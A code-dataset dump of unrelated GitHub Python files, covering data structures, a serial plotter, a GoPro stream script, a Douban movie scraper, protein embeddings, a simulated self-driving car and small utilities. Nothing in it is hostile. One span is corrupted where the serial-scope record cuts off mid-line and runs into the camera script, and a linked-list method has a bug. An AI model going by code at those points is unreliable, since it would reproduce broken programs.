1e6:.0f}')\n","repo_name":"tinygrad/tinygrad","sub_path":"examples/serious_mnist.py","file_name":"serious_mnist.py","file_ext":"py","file_size_in_byte":4648,"program_lang":"python","lang":"en","doc_type":"code","stars":20676,"dataset":"github-code","pt":"61"} +{"seq_id":"40143498426","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 31 17:07:53 2018\r\n\r\n@author: qzxy\r\n\"\"\"\r\n\"\"\"结点\"\"\"\r\nclass LNode:\r\n def __init__(self,data,next_ = None):\r\n self._data = data\r\n self._next = next_\r\n\r\n#\"\"\"空链表\"\"\"\r\n#head = None\r\n#\r\n#\"\"\"表首端插入,假如head非空,head是个变量\"\"\"\r\n#first_node = LNode('1')\r\n#first_node._next = head\r\n#head = first_node\r\n#\"\"\"表首端插入,假如head非空,head是个空结点(或者存储数据data为结点数量,非空)\"\"\"\r\n#head = LNode()\r\n#first_node = LNode('1')\r\n#first_node._next = head._next\r\n#head._next = first_node\r\n#\"\"\"一般情况的插入\"\"\"\r\n#pre = LNode('插入位置的前一结点')\r\n#insert = LNode('插入的结点')\r\n#insert._next = pre._next\r\n#pre._next = insert\r\n#\"\"\"删除表首元素\"\"\"\r\n#head = head._next\r\n#\"\"\"一般情况的删除\"\"\"\r\n#pre._next = pre._next._next\r\n#\"\"\"扫描\"\"\"\r\n#p = head\r\n#while p :\r\n# #something\r\n# p = p._next\r\n#\"\"\"创建10个结点的链表\"\"\"\r\n#node_1 = LNode(1)\r\n#head = node_1\r\n#p = head\r\n#for i in range(2,11):\r\n# p._next = LNode(i)\r\n# p = p._next\r\n#\r\n#p = node_1\r\n#while p:\r\n# print(p._data)\r\n# p = p._next\r\n \r\nclass LinkedListUnderflow(ValueError):\r\n pass\r\n\r\n\"\"\"链表类\"\"\"\r\nclass LList:\r\n def __init__(self,head = None):\r\n self._head = head \r\n \r\n def is_empty(self):\r\n return self._head is None\r\n \r\n #从开头加入元素结点\r\n def prepend(self,data):\r\n self._head = LNode(data,self._head)\r\n \r\n #删除首头元素结点,因为后进先出\r\n def pop(self):\r\n if self._head is None:\r\n raise LinkedListUnderflow(\"in pop\")\r\n e = self._head.data\r\n \r\n self._head = self._head._next\r\n return e\r\n #后端插入\r\n def append(self,data):\r\n if self._head is None:\r\n self._head = LNode(data)\r\n return\r\n p = self._head\r\n while p._next:\r\n p = p._next\r\n p._next = LNode(data)\r\n \r\n #后端删除\r\n def pop_last(self):\r\n if self._head is None:\r\n raise LinkedListUnderflow(\"in pop_last\")\r\n p = self._head\r\n if not p._next:\r\n e = p._data\r\n self._head = None\r\n return e\r\n while p._next._next:\r\n p = p._next\r\n e = p._next._data\r\n p._next = None\r\n return e\r\n #查找满足给定条件的第一个元素,可以改为生成器函数(return改为yield),\r\n #再用for循环迭代输出\r\n def find(self,pred):\r\n p = self._head\r\n while p:\r\n if pred(p._data):\r\n return p._data\r\n p = p._next\r\n \r\n #查看被操作表的情况\r\n def printall(self):\r\n p = self._head\r\n while p:\r\n print(p._data,end='')\r\n if p._next:\r\n print(', ',end='')\r\n p = p._next\r\n print('')\r\n \r\n def for_each(self,proc):\r\n p = self._head \r\n while p:\r\n proc(p._data)\r\n p = p._next\r\n \r\n def elements(self):\r\n p = self._head\r\n while p:\r\n yield p._data\r\n p = p._next\r\n","repo_name":"GuilongMa/python-Data-Structures-and-Algorithmic-Programs","sub_path":"链表/链表.py","file_name":"链表.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32220340081","text":"import numpy as np\nfrom matplotlib.lines import Line2D\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport serial\nfrom struct import unpack\n\ndevice = serial.Serial('COM5', baudrate = 9600, bytesize = 8)\n\nclass Scope(object):\n def __init__(self, ax, maxt=5, dt=0.02):\n self.ax = ax\n self.dt = dt\n self.maxt = maxt\n self.tdata = [0]\n self.ydata = [0]\n self.line = Line2D(self.tdata, self.ydata)\n self.ax.add_line(self.line)\n self.ax.set_ylim(0, 3.6)\n self.ax.set_xlim(0, self.maxt)\n\n def update(self, y):\n lastt = self.tdata[-1]\n if lastt > self.tdata[0] + self.maxt: # reset the arrays\n self.tdata = [self.tdata[-1]]\n self.ydata = [self.ydata[-1]]\n self.ax.set_xlim(self.tdata[0], self.tdata[0] + self.maxt)\n self.ax.figure.canvas.draw()\n\n t = self.tdata[-1] + self.dt\n self.tdata.append(t)\n self.ydata.append(y)\n self.line.set_data(self.tdata, self.ydata)\n return self.line,\n\n\ndef drawer():\n while True:\n readValue = 0\n lowByte = unpack('= 2.5:\r\n sock.sendto(\"_GPHD_:0:0:2:0.000000\\n\".encode(), (\"10.5.5.9\", 8554))\r\n t=time()\r\n\r\n# When everything is done, release the capture\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"RonBenDavid/Fire-Engine-Control-System-with-PS4-Remote-and-Computer-Vision-On-Nu-LB-NUC140","sub_path":"python/Camera WITH FIRE.py","file_name":"Camera WITH FIRE.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32111397706","text":"import math\nimport tensorflow as tf\nfrom tensorflow import flags\nFLAGS=flags.FLAGS\n\nimport models\nimport utils\n\nclass RandomModel(models.BaseModel):\n \"\"\"Inherit from this class when implementing new models.\"\"\"\n def create_model(self, \n user_id, num_weeks, weeks, num_movies, movies, \n num_classes=588, candidates=None, label_week=None, labels=None, \n l2_penalty=1e-8,\n **unused_params):\n \n num_users = FLAGS.num_users\n embedding_size = FLAGS.rm_embedding_size\n movie_features = utils.get_features_variable(num_classes)\n num_features = movie_features.get_shape().as_list()[-1]\n num_users = FLAGS.num_users\n user_emb_var = tf.get_variable(\"user_emb_var\",\n initializer=tf.truncated_normal_initializer(mean=0.0, stddev=math.sqrt(1.0 / embedding_size)),\n regularizer=tf.contrib.layers.l2_regularizer(l2_penalty),\n shape=[num_users, embedding_size])\n feature_emb_var = tf.get_variable(\"feature_emb_var\",\n initializer=tf.truncated_normal_initializer(mean=0.0, stddev=math.sqrt(1.0 / embedding_size)),\n regularizer=tf.contrib.layers.l2_regularizer(l2_penalty),\n shape=[num_features, embedding_size])\n \n user_emb = tf.nn.embedding_lookup(user_emb_var, user_id)\n movie_emb = tf.matmul(movie_features, feature_emb_var)\n \n random_matrix=tf.truncated_normal(movie_emb.get_shape(),mean=0.0,stddev=math.sqrt(1.0/embedding_size))\n \n ratings=tf.einsum(\"ij,kj->ik\",user_emb,random_matrix)\n predictions=tf.nn.sigmoid(ratings)\n return{\"predictions\":predictions}\n","repo_name":"shijial/xingmei-2m-master-e1","sub_path":"xingmei-2m-master/all_models/random_model.py","file_name":"random_model.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23861038711","text":"import scrapy\nfrom scrapy import Request\nfrom DouBanMovie.items import DoubanmovieItem\nimport time\n\n\nclass douBanSpider(scrapy.Spider):\n name = 'DouBanMovie'\n allowed_domains = ['movie.douban.com']\n start_urls = [\"https://movie.douban.com/top250\"]\n step_time = 5\n page_number = 0\n\n def parse(self, response):\n node_list = response.xpath('//div[@class=\"info\"]')\n\n for msg in node_list:\n # 详情链接\n details_url = msg.xpath('./div[@class=\"hd\"]/a/@href').extract()\n # 中文名称\n name = msg.xpath('./div[@class=\"hd\"]/a/span[1]/text()').extract()\n # 评论人数\n number_evaluate = msg.xpath('./div[@class=\"bd\"]/div[@class=\"star\"]/span[4]/text()').extract()\n number_evaluate = str(number_evaluate)[2:-5]\n # 评分\n score = msg.xpath('./div[@class=\"bd\"]/div[@class=\"star\"]/span[@property=\"v:average\"]/text()').extract()\n # 使用管道保存\n # 管道可以对键值自动去重\n item_pipe = DoubanmovieItem()\n item_pipe[\"name\"] = name\n item_pipe[\"number_evaluate\"] = number_evaluate\n item_pipe[\"score\"] = score\n\n time.sleep(self.step_time)\n yield Request(details_url[0], callback=self.get_details, meta={\"info\": item_pipe})\n\n # 有序内容获取方法\n self.page_number += 1\n print(self.page_number)\n # 爬取其他页面\n if (self.page_number < 10):\n time.sleep(3)\n page_url = 'https://movie.douban.com/top250?start={}&filter='.format(self.page_number * 25)\n yield scrapy.Request(page_url, callback=self.parse)\n\n # 获取详情页数据\n def get_details(self, response):\n item_pipe = DoubanmovieItem()\n info = response.meta[\"info\"]\n item_pipe.update(info)\n\n response = response.xpath('//div[@id=\"info\"]')\n # 上映时间\n release_data = response.xpath('./span[@property=\"v:initialReleaseDate\"]/text()').extract()\n # 制片国\n area = str(response.extract())\n area = area[area.index(\"制片国\"):area.index(\"语言\")].strip()\n area = area[area.index(\"\") + 7:area.index(\"
\")].strip()\n # 语言\n languages = str(response.extract())\n languages = languages[languages.index(\"语言\"):languages.index(\"上映\")].strip()\n languages = languages[languages.index(\"\") + 7:languages.index(\"
\")].strip()\n # 片长\n times = response.xpath('./span[@property=\"v:runtime\"]/text()').extract()\n # 类型\n film_type = response.xpath('./span[@property=\"v:genre\"]/text()').extract()\n\n # 1星占比\n star1 = response.xpath('//div[@class=\"item\"][5]/span[@class=\"rating_per\"]/text()').extract()\n # 2星占比\n star2 = response.xpath('//div[@class=\"item\"][4]/span[@class=\"rating_per\"]/text()').extract()\n # 3星占比\n star3 = response.xpath('//div[@class=\"item\"][3]/span[@class=\"rating_per\"]/text()').extract()\n # 4星占比\n star4 = response.xpath('//div[@class=\"item\"][2]/span[@class=\"rating_per\"]/text()').extract()\n # 5星占比\n star5 = response.xpath('//div[@class=\"item\"][1]/span[@class=\"rating_per\"]/text()').extract()\n\n item_pipe[\"release_data\"] = release_data\n item_pipe[\"area\"] = area\n item_pipe[\"languages\"] = languages\n item_pipe[\"times\"] = times\n item_pipe[\"film_type\"] = film_type\n item_pipe[\"star1\"] = star1\n item_pipe[\"star2\"] = star2\n item_pipe[\"star3\"] = star3\n item_pipe[\"star4\"] = star4\n item_pipe[\"star5\"] = star5\n\n yield item_pipe\n","repo_name":"sandwich3mz/Douban-movie-analysis","sub_path":"spiders/douBan_spider.py","file_name":"douBan_spider.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35307992088","text":"from db_conn_postgree import query_db\nimport openpyxl\n\n# data_report [0] - Headers\n# data_report [1] - data\ndata_report = query_db(\"\"\"%PARAM NAME FOR SQL QUERY%\"\"\")\n\nws = openpyxl.Workbook()\nws.create_sheet('Plan1', 0)\nplan1 = ws['Plan1']\n\n# Header Report\nfor column_index, column_names in enumerate(data_report[0], 1):\n plan1.cell(1, column_index).value = column_names\n\n# Inserting data in excel\nfor row_index, data_row in enumerate(data_report[1], 2):\n for column_index, data_column in enumerate(data_row, 1):\n plan1.cell(row_index, column_index).value = str(data_column)\n\ntry:\n ws.save('planilha.xlsx')\n print('Done!')\nexcept Exception as error:\n print(error)\n","repo_name":"raphael-d-cordeiro/Python_Public","sub_path":"EXERCICIOS/exercicios_db/main_postgree.py","file_name":"main_postgree.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6413851919","text":"def make_stars(n: int) -> list:\n # 종료 조건\n if n == 1:\n return ['*']\n\n # Recursive Works\n sub_stars = make_stars(n//3)\n output = []\n\n # 맨 윗줄\n for sub_star in sub_stars:\n output.append(sub_star*3)\n\n # 두번째 줄 4~6\n for sub_star in sub_stars:\n output.append(sub_star + ' '*(n//3) + sub_star)\n\n # 세번째 줄 7~9\n for sub_star in sub_stars:\n output.append(sub_star*3)\n\n return output\n\n\nN = 27\nprint('\\n'.join(make_stars(N)))\n\n\n#####\n# Example\n\n# N = 3\n# ***\n# * *\n# ***\n\n# N = 9\n# *********\n# * ** ** *\n# *********\n# *** ***\n# * * * *\n# *** ***\n# *********\n# * ** ** *\n# *********\n","repo_name":"mjhbest/KAIST-ITA","sub_path":"Data_Structure_and_Algorithm/May23th/RecursiveStars.py","file_name":"RecursiveStars.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24750167036","text":"# -*- coding: utf-8 -*-\n# Disciplina: Tópicos em Engenharia de Controle e Automação IV (ENG075): \n# Fundamentos de Veículos Autônomos - 2023/2\n# Professores: Armando Alves Neto e Leonardo A. Mozelli\n# Cursos: Engenharia de Controle e Automação\n# DELT – Escola de Engenharia\n# Universidade Federal de Minas Gerais\n########################################\n\nimport class_car as cp\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\nplt.ion()\nplt.figure(1, figsize=(10, 6))\n\n# HSV values\nGREEN_HSV_MIN = [35, 150, 50]\nGREEN_HSV_MAX = [85, 255, 255]\nBLUE_HSV_MIN = [90, 150, 50]\nBLUE_HSV_MAX = [130, 255, 255]\n\nWHITE_HSV_MIN = [0, 0, 150]\nWHITE_HSV_MAX = [255, 30, 255]\n\n# mapa de plot\nmapa = cv2.cvtColor(cv2.imread('./coppelia/pista.png'), cv2.COLOR_RGB2BGR)\n\n########################################\n# detecta blobs em HSV\ndef blob(image, min_hsv, max_hsv, color=(0, 255, 0)):\n\t\n\t# Convert the image to the HSV color space\n\thsv = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n\n\t# Define the lower and upper bounds of the color you want to detect\n\tlower_color = np.array(min_hsv) \t# hue_min, saturation_min, value_min\n\tupper_color = np.array(max_hsv) \t# hue_max, saturation_max, value_max\n\n\t# Create a mask using the inRange() function to extract the color of interest\n\tmask = cv2.inRange(hsv, lower_color, upper_color)\n\n\t# Find contours in the mask\n\tcontours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n\t# Initialize variables to keep track of the largest blob\n\tlargest_area = 0\n\tlargest_contour = None\n\n\t# Loop through the contours and calculate areas\n\tfor i, contour in enumerate(contours):\n\t\t# Calculate the area of the contour\n\t\tarea = cv2.contourArea(contour)\n\t\t\n\t\t# If the current blob has a larger area, update the largest area and contour\n\t\tif area > largest_area:\n\t\t\tlargest_area = area\n\t\t\tlargest_contour = contour\n\t\n\t# Draw the largest contour on the original image\n\tcx = cy = -1\n\tif largest_contour is not None:\n\t\t# Calculate the centroid of the largest contour\n\t\tM = cv2.moments(largest_contour)\n\t\tcx = int(M[\"m10\"] / M[\"m00\"])\n\t\tcy = int(M[\"m01\"] / M[\"m00\"])\n\n\t\tcv2.drawContours(image, [largest_contour], -1, color, 2) # Green contour around the largest blob\n\t\n\treturn image, largest_area, cx, cy\n\t\n########################################\n# cria comunicação com o carrinho\ncar = cp. CarCoppelia()\ncar.startMission()\n\nx = []\ny = []\ntime = []\n\nwhile car.t < 100.0:\n\t\n\t# lê senores\n\tcar.step()\n\t\t\n\t# pega imagem\n\timage = car.getImage()\n\t\n\t# blobs\n\timage, green_area, _, _ = blob(image, GREEN_HSV_MIN, GREEN_HSV_MAX, color=(0, 255, 0))\n\timage, blue_area, _, _ = blob(image, BLUE_HSV_MIN, BLUE_HSV_MAX, color=(0, 0, 255))\n\timage, white_area, cx, cy = blob(image, WHITE_HSV_MIN, WHITE_HSV_MAX, color=(255, 255, 255))\n\t\n\t# estercamento\n\tif cx > 0:\n\t\trefx = image.shape[1]/2.0\n\t\tdelta = -0.02*(refx - cx)\n\telse:\n\t\tdelta = 0.0\n\t\n\tif green_area > blue_area:\n\t\tdelta += -5.0\n\tif green_area < blue_area:\n\t\tdelta += 5.0\n\t\t\n\t# seta direcao\n\tcar.setSteer(delta)\n\t\n\t# velocidade\n\tcar.setVel(1.0)\n\t\n\t########################################\n\t# salva e mostra valores\t\n\tplt.subplot(121)\n\tplt.cla()\n\tplt.gca().imshow(image, origin='lower')\n\tplt.title('t = %.1f' % car.t)\n\t\n\tplt.subplot(122)\n\tplt.cla()\n\tx.append(car.p[0])\n\ty.append(car.p[1])\n\ttime.append(car.t)\n\t#\n\t# plota mapa\n\tplt.imshow(mapa, extent=[-7.5, 7.5, -7.5, 7.5], alpha=0.99)\n\tplt.plot(x, y, 'r')\n\tplt.axis('equal')\n\tplt.box(False)\n\tplt.ylabel('y [m]')\n\tplt.ylabel('x [m]')\n\t\n\tplt.show()\n\tplt.pause(0.01)\n\ncar.stopMission()\nprint('Terminou...')\n","repo_name":"CELTA-UFMG/fundamentos_veiculos_autonomos","sub_path":"simulador/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30629934008","text":"'''\nCreated on Feb 22, 2015\n\n@author: Ivan Varus\n'''\n\nimport sys\n\n\nmonthtable = {'Jan': 0, 'Feb': 1, 'Mar': 2, 'Apr': 3,\n 'May': 4, 'Jun': 5, 'Jul': 6, 'Aug': 7,\n 'Sep': 8, 'Oct': 9, 'Nov': 10, 'Dec': 11}\n\n\ndef isIntersected(A, B):\n if A[1] < B[0] and A[1] < B[1]:\n return False\n if A[0] > B[0] and A[0] > B[1]:\n return False\n return True\n\n\ndef union(A, B):\n return (min(A[0], B[0]), max(A[1], B[1]))\n\n\ntest_cases = open(sys.argv[1], 'r')\nfor test in test_cases:\n alldates = test.split(';')\n allmonths = []\n for x in alldates:\n datepair = x.split('-')\n if len(datepair) != 2:\n continue\n date0 = datepair[0].split()\n date1 = datepair[1].split()\n convertToMonths = lambda my: int(my[1])*12 + monthtable[my[0]]\n months0 = convertToMonths(date0)\n months1 = convertToMonths(date1) + 1 # to the last day of the month\n allmonths.append((months0, months1))\n recheck = True\n while recheck:\n recheck = False\n for i, mi in enumerate(allmonths):\n for j, mj in enumerate(allmonths[i+1:]):\n if isIntersected(mi, mj):\n allmonths[i] = union(mi, mj)\n allmonths.pop(j+i+1)\n recheck = True\n break\n if recheck:\n break\n exp = sum(map(lambda x: x[1]-x[0], allmonths)) // 12\n print(exp)\ntest_cases.close()\n","repo_name":"ivarus/Challenges","sub_path":"CodeEval/src/Easy/WorkingExperience.py","file_name":"WorkingExperience.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23559215331","text":"def is_tidy(number):\r\n return ''.join(sorted(str(number))) == str(number)\r\n\r\ncases = int(input())\r\nfor case in range(1, cases+1):\r\n n = int(input())\r\n while True:\r\n if is_tidy(n):\r\n print('Case #{}: {}'.format(case, n))\r\n break\r\n n -= 1\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/3647.py","file_name":"3647.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42467609940","text":"import torch\nimport esm\nfrom transformers import AlbertModel, AlbertTokenizer\nfrom tqdm import tqdm\nimport math\nimport re\n\n\ndef get_protein_features(protein_list):\n model, alphabets = esm.pretrained.esm1_t6_43M_UR50S()\n batch_conveter = alphabets.get_batch_converter()\n feature_list = []\n n_batch = 2\n n_step = math.ceil(len(protein_list) / n_batch)\n print('Getting Protein Features.....')\n for i in tqdm(range(n_step)):\n if(i==n_step):\n buf_list = protein_list[i*n_batch:]\n else:\n buf_list = protein_list[i*n_batch:(i+1)*n_batch]\n batch_seq_list = []\n for j in range(len(buf_list)):\n batch_seq_list.append(('protein{}'.format(j+1), buf_list[j]))\n batch_label, batch_stars, batch_tokens = batch_conveter(batch_seq_list)\n \n with torch.no_grad():\n results = model(batch_tokens, repr_layers=[6])\n token_embedding = results['representations'][6]\n \n for j, (_,seq) in enumerate(batch_seq_list):\n feature_list.append(token_embedding[j, 1:len(seq)+1].mean(0).numpy())\n print('Finished getting protein features')\n return feature_list\n\ndef albert_protein_features(protein_list, max_len=1000):\n model = AlbertModel.from_pretrained(\"Rostlab/prot_albert\")\n tokenizer = AlbertTokenizer.from_pretrained(\"Rostlab/prot_albert\", do_lower_case=False)\n model.eval()\n protein_embedding = []\n for protein in protein_list:\n protein += ' '*(max_len-len(protein))\n protein = [re.sub(r\"[UZOBX]\", \"\", p) for p in protein]\n ids = tokenizer.batch_encode_plus(protein, add_special_token=False, pad_to_max_length=False)\n input_ids = torch.tensor(ids['input_ids'])\n attention_mask = torch.tensor(ids['attention_mask'])\n with torch.no_grad():\n embedding = model(input_ids=input_ids, attention_mask=attention_mask)[0]\n embedding = embedding.squeeze().numpy()\n protein_embedding.append(embedding)\n \n return protein_embedding\n ","repo_name":"Yakin10/DTA-VAE","sub_path":"prot_feat.py","file_name":"prot_feat.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25265267075","text":"\"\"\"__author__=吴佩隆\"\"\"\n\n# 1.init的方法和构造方法\n\"\"\"\n1)构造函数 - python中声明类的时候,系统会自动声明一个和类同名的函数\n 这个函数就是构造函数,用来创建当前类的对象\n 当我们调用构造函数创建对象的时候,\n 系统会自动调用类中的__init__方法来初始化对象\n \n2)__init__方法 - 魔法方法;也是一个对象方法。声明的时候函数名必须是__init__\n 并且保证这个方法是对象方法\n 声明后不用去调用,系统会自动调用\n\n记住:a.创建对象的时候系统自动调用__init__方法\n b.创建对象的时候,构造函数需不需要参数,需要几个参数看__init__除了self以外\n 需要几个参数\n\"\"\"\n\n\nclass Person:\n def __init__(self):\n print('init方法')\n\n\np1 = Person()\np2 = Person()\n\n\nclass Student:\n def __init__(self, name, age=10):\n print('学生类的init', name, age)\n\n\nstu1 = Student('小明', 18)\nstu2 = Student(age=20, name='小花')\n\n\n\n\n\n\n\n\n","repo_name":"ikaros274556330/my_code","sub_path":"python_1000phone/语言基础/day15-面向对象1/code/03-init方法和构造方法.py","file_name":"03-init方法和构造方法.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9216791694","text":"__author__ = \"EUROCONTROL (SWIM)\"\n\nimport io\nfrom typing import Optional, Dict, List, Any, Iterable\n\nimport yaml\nfrom lxml import etree\n\n\ndef get_attrib_value(attribs: Dict[str, str],\n name: str,\n ns: str,\n value_prefixes: Optional[Iterable[str]] = None) -> Optional[str]:\n \"\"\"\n Retrieves the value of an attribute from a dict of `etree.Element` attributes based on its name\n and namespace. The value could be prefixed by any string so it has to be provided in order to\n not be considered in the returned value.\n\n :param attribs:\n :param name:\n :param ns: namespace\n :param value_prefixes:\n :return:\n \"\"\"\n value_prefixes = value_prefixes or []\n result = attribs.get(f'{{{ns}}}{name}')\n\n if result is None:\n return\n\n for value_prefix in value_prefixes:\n if result.startswith(value_prefix):\n result = result[len(value_prefix):]\n break\n\n return result\n\n\ndef make_attrib(name: str, value: str, ns: str) -> Dict[str, str]:\n \"\"\"\n Creates a dict entry to be added im the attribs of a `etree.Element`\n :param name:\n :param value:\n :param ns:\n :return:\n \"\"\"\n return {f'{{{ns}}}{name}': value}\n\n\ndef load_config(filename: str) -> Dict[str, Any]:\n \"\"\"\n Parses a YAML file and returns a dict of its content\n :param filename:\n :return:\n \"\"\"\n with open(filename) as f:\n obj = yaml.load(f, Loader=yaml.FullLoader)\n\n return obj or None\n\n\ndef get_next_offset(offset, limit, size):\n \"\"\"\n Calculates the next offset value provided the current one as well as the page limit and the\n total size of the items\n :param offset:\n :param limit:\n :param size:\n :return:\n \"\"\"\n next_offset = offset + limit\n if next_offset >= size or size <= limit :\n return\n\n return next_offset\n\n\ndef get_prev_offset(offset, limit):\n \"\"\"\n Calculates the previous offset value provided the current one and the page limit\n\n :param offset:\n :param limit:\n :param size:\n :return:\n \"\"\"\n pref_offset = offset - limit\n\n if pref_offset >= 0:\n return pref_offset\n\n\ndef validate_file_form(file_form: Dict):\n \"\"\"\n\n :param file_form:\n :return:\n \"\"\"\n if 'file' not in file_form:\n raise ValueError('No file part')\n\n file = file_form['file']\n if file.filename == '' or file.filename is None:\n raise ValueError('No selected file')\n\n if not filename_is_valid(file.filename):\n raise ValueError('File not allowed. Allowed files: [.xml]')\n\n return file\n\n\ndef filename_is_valid(filename):\n \"\"\"\n\n :param filename:\n :return:\n \"\"\"\n return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'xml'\n","repo_name":"eurocontrol-swim/aixm-graph","sub_path":"server/aixm_graph/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"40444210767","text":"import codecs\nimport collections\nimport sys\nimport typing as t\n\nfrom ._common import colorize\n\n\ndef _gen_change_caret_line(\n original, updated, charwidth: t.Optional[t.Callable[[str], int]]\n):\n shift = 0\n indices = []\n for idx, c in enumerate(original):\n if c != updated[idx + shift]:\n indices.append(idx)\n if charwidth is not None:\n shift += charwidth(c) - 1\n gen = \"\"\n cur = 0\n for idx in indices:\n gen += \" \" * (idx - cur)\n gen += \"^\"\n cur = idx\n return gen\n\n\ndef _determine_encoding() -> str:\n # determine encoding from defaults, but convert \"ascii\" to \"utf-8\"\n encoding = sys.getfilesystemencoding() or sys.getdefaultencoding()\n try:\n is_ascii = codecs.lookup(encoding).name == \"ascii\"\n except LookupError:\n is_ascii = False\n if is_ascii:\n encoding = \"utf-8\"\n\n return encoding\n\n\ndef _readlines(filename: str, encoding: str) -> t.List[str]:\n with open(filename, \"r\", encoding=encoding) as f:\n return f.readlines()\n\n\nclass _VPrinter:\n def __init__(self, verbosity: int):\n self.verbosity = verbosity\n\n def out(self, message: str, verbosity: int = 1, end: str = \"\\n\") -> None:\n if not self.verbosity >= verbosity:\n return\n print(message, end=end)\n\n\nclass DiffRecorder:\n def __init__(self, verbosity: int):\n self._printer = _VPrinter(verbosity)\n # in py3.6+ the dict builtin maintains order, but being explicit is\n # slightly safer since we're being explicit about the fact that we want\n # to retain key order\n self.by_fname: t.MutableMapping[\n str, t.List[t.Tuple[str, str, int]]\n ] = collections.OrderedDict()\n self._file_encoding = _determine_encoding()\n\n def add(self, fname, original, updated, lineno):\n if fname not in self.by_fname:\n self.by_fname[fname] = []\n self.by_fname[fname].append((original, updated, lineno))\n\n def hasdiff(self, fname):\n return bool(self.by_fname.get(fname))\n\n def __bool__(self):\n return bool(self.by_fname)\n\n def items(self):\n return self.by_fname.items()\n\n def run_line_fixer(self, line_fixer: t.Callable[[str], str], filename: str):\n \"\"\"Given a filename, replace content and write *if* changes were made, using a\n line-fixer function which takes lines as input and produces lines as output.\n\n Returns True if changes were made, False if none were made\"\"\"\n self._printer.out(f\"checking {filename}...\", end=\"\", verbosity=2)\n content = _readlines(filename, self._file_encoding)\n\n newcontent = []\n for lineno, line in enumerate(content, 1):\n newline = line_fixer(line)\n newcontent.append(newline)\n if newline != line:\n self.add(filename, line, newline, lineno)\n\n if self.hasdiff(filename):\n self._printer.out(\"fail\", verbosity=2)\n with open(filename, \"w\", encoding=self._file_encoding) as f:\n f.write(\"\".join(newcontent))\n return True\n self._printer.out(\"ok\", verbosity=2)\n return False\n\n def print_changes(\n self,\n show_changes: bool,\n ansi_colors: bool,\n *,\n charwidth: t.Optional[t.Callable[[str], int]] = None,\n ) -> None:\n self._printer.out(\"Changes were made in these files:\")\n for filename, changeset in self.items():\n if ansi_colors:\n filename_c = colorize(filename, color=\"yellow\")\n else:\n filename_c = filename\n self._printer.out(f\" {filename_c}\")\n if show_changes:\n for original, updated, lineno in changeset:\n original = \"-\" + original.rstrip()\n updated = \"+\" + updated.rstrip()\n caret_line = \" \" + _gen_change_caret_line(\n original[1:], updated[1:], charwidth\n )\n\n if ansi_colors:\n original = colorize(original, color=\"bright_red\")\n updated = colorize(updated, color=\"bright_green\")\n caret_line = colorize(caret_line, color=\"bright_cyan\")\n self._printer.out(f\" line {lineno}:\")\n self._printer.out(f\" {original}\")\n self._printer.out(f\" {updated}\")\n self._printer.out(f\" {caret_line}\")\n\n\nclass CheckRecorder:\n def __init__(self, verbosity: int):\n self._printer = _VPrinter(verbosity)\n self.by_fname: t.MutableMapping[\n str, t.List[t.Tuple[str, str, int]]\n ] = collections.OrderedDict()\n self._file_encoding = _determine_encoding()\n\n def add(self, fname, lineno):\n if fname not in self.by_fname:\n self.by_fname[fname] = []\n self.by_fname[fname].append(lineno)\n\n def __bool__(self):\n return bool(self.by_fname)\n\n def items(self):\n return self.by_fname.items()\n\n def run_line_checker(\n self, line_checker: t.Callable[[str], bool], filename: str\n ) -> bool:\n self._printer.out(f\"checking {filename}...\", end=\"\", verbosity=2)\n content = _readlines(filename, self._file_encoding)\n\n for lineno, line in enumerate(content, 1):\n if not line_checker(line):\n self.add(filename, lineno)\n\n if filename in self.by_fname:\n self._printer.out(\"fail\", verbosity=2)\n return True\n self._printer.out(\"ok\", verbosity=2)\n return False\n\n def print_failures(self, checkname: str, ansi_colors: bool) -> None:\n self._printer.out(f\"These files failed the {checkname} check:\")\n for filename, linenos in self.items():\n if ansi_colors:\n filename_c = colorize(filename, color=\"yellow\")\n else:\n filename_c = filename\n self._printer.out(f\" {filename_c}\")\n commasep_linenos = \",\".join(str(x) for x in linenos)\n if len(linenos) == 1:\n prefix = \"lineno\"\n else:\n prefix = \"line numbers\"\n self._printer.out(f\" {prefix}: {commasep_linenos}\")\n","repo_name":"sirosen/texthooks","sub_path":"src/texthooks/_recorders.py","file_name":"_recorders.py","file_ext":"py","file_size_in_byte":6279,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} 